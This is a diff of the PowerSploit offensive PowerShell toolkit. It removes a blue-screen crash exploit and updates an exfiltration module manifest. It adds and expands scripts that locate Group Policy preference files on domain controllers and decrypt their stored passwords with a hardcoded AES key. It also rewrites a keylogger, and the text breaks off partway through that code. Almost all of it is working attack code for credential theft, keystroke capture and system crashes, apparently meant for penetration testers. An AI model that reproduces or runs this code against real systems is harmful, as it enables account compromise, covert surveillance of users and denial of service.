@@ -1,78 +0,0 @@
function Watch-BlueScreen
{
<#
.SYNOPSIS
Cause a blue screen to occur (Windows 7 and below).
PowerSploit Function: Watch-BlueScreen
Author: Matthew Graeber (@mattifestation)
Original Research: Tavis Ormandy and Nikita Tarakanov
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.NOTES
Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov
tweeted this technique on 5/13/2013.
.LINK
https://gist.github.com/taviso/4658638
http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html
https://twitter.com/NTarakanov/status/334031968465453057
#>
[CmdletBinding( ConfirmImpact = 'High')] Param ()
try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException]
{
$DynAssembly = New-Object System.Reflection.AssemblyName('BSOD')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BSOD', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Gdi32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'),
[Reflection.FieldInfo[]]@($SetLastError), @($true))
$TypeBuilder.DefinePInvokeMethod( 'CreateCompatibleDC',
'Gdi32.dll',
'Public, Static',
'Standard',
[IntPtr],
@([IntPtr]),
'Winapi',
'Auto' ).SetCustomAttribute($SetLastErrorCustomAttribute)
$TypeBuilder.DefinePInvokeMethod( 'SetLayout',
'Gdi32.dll',
'Public, Static',
'Standard',
[UInt32],
@([IntPtr], [UInt32]),
'Winapi',
'Auto' ) | Out-Null
$TypeBuilder.DefinePInvokeMethod( 'ScaleWindowExtEx',
'Gdi32.dll',
'Public, Static',
'Standard',
[Bool],
@([IntPtr], [Int32], [Int32], [Int32], [Int32], [IntPtr]),
'Winapi',
'Auto' ) | Out-Null
$Gdi32 = $TypeBuilder.CreateType()
}
$LAYOUT_RTL = 1
if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' ))
{
$DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero)
$Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
$Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
}
}
+8 -59
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Exfiltration.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
@@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -24,65 +21,17 @@ Description = 'PowerSploit Exfiltration Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
FormatsToProcess = 'Get-VaultCredential.ps1xml'
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'})
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+139
View File
@@ -0,0 +1,139 @@
function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
{
$props = $xml.GetElementsByTagName("Properties")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose "Potential password in $File"
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}
+309 -95
View File
@@ -1,137 +1,351 @@
function Get-GPPPassword {
function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
Specify the domain controller to search for.
Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE
Get-GPPPassword
Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param ()
#define helper function that decodes and decrypts password
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
)
# define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
# Make sure System.Core is loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
{
throw 'Machine is not joined to a domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
if ( -not $XMlFiles )
{
throw 'No files containing encrypted passwords found.'
}
catch { Write-Error $Error[0] }
}
foreach ($File in $XMLFiles) {
# helper function to parse fields from xml files
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)
try {
$Filename = $File.Name
$Filepath = $File.VersionInfo.FileName
#put filename in $XmlFile
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare blank variables
$Cpassword = ''
$UserName = ''
$NewName = ''
$Changed = ''
switch ($Filename) {
# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {
'Groups.xml' {
$Cpassword = $Xml.Groups.User.Properties.cpassword
$UserName = $Xml.Groups.User.Properties.userName
$NewName = $Xml.Groups.User.Properties.newName
$Changed = $Xml.Groups.User.changed
}
'Services.xml' {
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
$UserName = $Xml.NTServices.NTService.Properties.accountName
$Changed = $Xml.NTServices.NTService.changed
}
'Scheduledtasks.xml' {
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
$Changed = $Xml.ScheduledTasks.Task.changed
}
'DataSources.xml' {
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
$UserName = $Xml.DataSources.DataSource.Properties.username
$Changed = $Xml.DataSources.DataSource.changed
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
}
if ($_.newName) {
$NewName = $_.newName
}
if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}
try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
}
try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
}
}
}
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
else {Write-Verbose "No encrypted passwords found in $Filepath"}
#Create custom object to output results
$ObjectProperties = @{'Password' = $Password;
'UserName' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName
'File' = $Filepath}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Output $ResultsObject
}
catch {Write-Error $Error[0]}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
}
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
}
try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}
if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}
try {
$XMLFiles = @()
$Domains = @()
$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
}
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}
catch { Write-Error $Error[0] }
}
+308 -180
View File
@@ -1,249 +1,377 @@
function Get-Keystrokes {
function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PassThru
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
Get-Keystrokes -CollectionInterval 20
Get-Keystrokes -Timeout 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction
#>
[CmdletBinding()] Param (
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval
[Double]$Timeout,
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath"
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Initilizer = {
$LogPath = 'REPLACEME'
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
[Parameter(Position = 1)]
[Double]$Timeout
)
function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
try
{
$ImportDll = [User32]
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
#region Imports
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# SetWindowsHookEx
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
